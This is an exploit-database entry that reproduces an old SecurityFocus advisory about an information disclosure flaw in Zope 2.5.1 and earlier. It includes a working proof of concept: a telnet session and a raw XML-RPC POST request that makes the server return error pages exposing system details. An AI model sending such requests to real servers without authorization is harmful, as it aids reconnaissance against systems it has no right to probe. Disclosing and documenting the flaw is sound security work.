Zope 2.x Incorrect XML-RPC Request Information Disclosure Vulnerability

Exploit Datenbank (exploit-db.com)
CVE Datenbank (cve.mitre.org)
OSVDB Datenbank (osvdb.org)
CIAC 26.09.2002 Verified
Remote Exploits Linux

Exploit Code

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source: http://www.securityfocus.com/bid/5806/info

A vulnerability has been reported for Zope 2.5.1 and earlier. Reportedly, Zope does not handle XML-RPC requests properly. Specially crafted XML-RPC requests may cause Zope to respond to a request with an error page with system specific details.

telnet localhost 8080
POST /Documentation/comp_tut HTTP/1.0
Host: localhost
Content-Type: text/xml
Content-length: 93

<?xml version="1.0"?>
<methodCall>
<methodName>objectIds</methodName>
<params/>
</methodCall>